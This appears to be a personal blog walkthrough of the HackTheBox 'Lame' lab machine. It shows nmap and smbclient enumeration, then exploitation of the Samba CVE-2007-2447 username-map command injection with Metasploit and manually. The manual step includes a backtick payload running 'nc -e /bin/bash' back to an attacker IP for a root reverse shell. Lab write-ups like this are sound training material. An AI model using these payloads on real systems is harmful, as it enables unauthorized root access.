Loading
Cybersecurity undergraduate and web developer based in Sri Lanka, passionate about penetration testing, VAPT, and ethical hacking.
Classic Easy Linux box. Exploited a vulnerable Samba service to gain direct root access. Full walkthrough covering enumeration, exploitation and post-exploitation.
Lame is one of the first machines on HackTheBox and a classic starting point for beginners.
It runs a vulnerable version of Samba that allows unauthenticated remote code execution directly as root —
no privilege escalation needed.
Start with a full Nmap scan to identify open ports and service versions:
nmap -sV -sC -p- --min-rate 5000 10.10.10.3
Key results from the scan:
21 — vsftpd 2.3.4 (anonymous login allowed)22 — OpenSSH 4.7p1139 / 445 — Samba smbd 3.0.20-Debian3632 — distccd v1Two interesting services stand out: vsftpd 2.3.4 (has a known backdoor) and Samba 3.0.20 (CVE-2007-2447). We'll try Samba first since it gives direct root access.
Check available shares with smbclient:
smbclient -L //10.10.10.3 -N
Output shows shares including tmp which is accessible anonymously:
smbclient //10.10.10.3/tmp -N
We can connect. The Samba version 3.0.20 is vulnerable to CVE-2007-2447 — the
Username Map Script command injection vulnerability. When a username containing shell metacharacters
is passed to the username map script, it executes as root.
Load the Metasploit module for this vulnerability:
msfconsole -q
use exploit/multi/samba/usermap_script
set RHOSTS 10.10.10.3
set LHOST 10.10.14.X # your tun0 IP
set LPORT 4444
run
Metasploit connects back with a shell. Check who we are:
id
uid=0(root) gid=0(root) groups=0(root)
Direct root — no privilege escalation needed.
The same exploit can be done manually using smbclient. Set up a Netcat listener first:
nc -lvnp 4444
Then connect via smbclient and inject the payload into the username field:
smbclient //10.10.10.3/tmp -N
logon "./=`nohup nc -e /bin/bash 10.10.14.X 4444`"
The backtick command injection executes, and your listener receives a root shell.
With a root shell, grab both flags:
# User flag
cat /home/makis/user.txt
# Root flag
cat /root/root.txt
The FTP service on port 21 runs vsftpd 2.3.4 which has a backdoor (CVE-2011-2523). Triggering it opens a shell on port 6200. However, on this machine the backdoor appears patched or firewalled — it does not work. The Samba exploit is the reliable path.
# Attempt (will likely fail on Lame)
nmap -p 6200 10.10.10.3
# or
use exploit/unix/ftp/vsftpd_234_backdoor
username map script option in Samba allows arbitrary command injection via username fieldssmbclient avoids relying on Metasploit — good practice for OSCPnmap — port scanning and service enumerationsmbclient — SMB share enumeration and manual exploitationMetasploit — exploit/multi/samba/usermap_scriptnetcat — reverse shell listener